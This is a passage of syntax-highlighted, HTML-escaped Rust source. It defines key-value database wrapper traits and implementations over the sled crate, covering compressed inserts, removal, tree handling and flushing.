        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.set_raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()))&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Serialize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Sized&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Uuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Uuid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new_v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.remove_raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()))&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;trait&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRaw&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;set_raw&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Serialize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Sized&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IVec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remove_raw&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IVec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;trait&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbGet&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DeserializeOwned&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRoot&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_tree&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbTree&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;DbTree&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;inner&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DB&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.open_tree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;drop_tree&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;DB&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.drop_tree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;DB&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRaw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRoot&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;set_raw&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Serialize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Sized&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IVec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;compressed_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;deflate_serialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;DB&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;compressed_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remove_raw&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IVec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;DB&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbGet&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRoot&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DeserializeOwned&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span 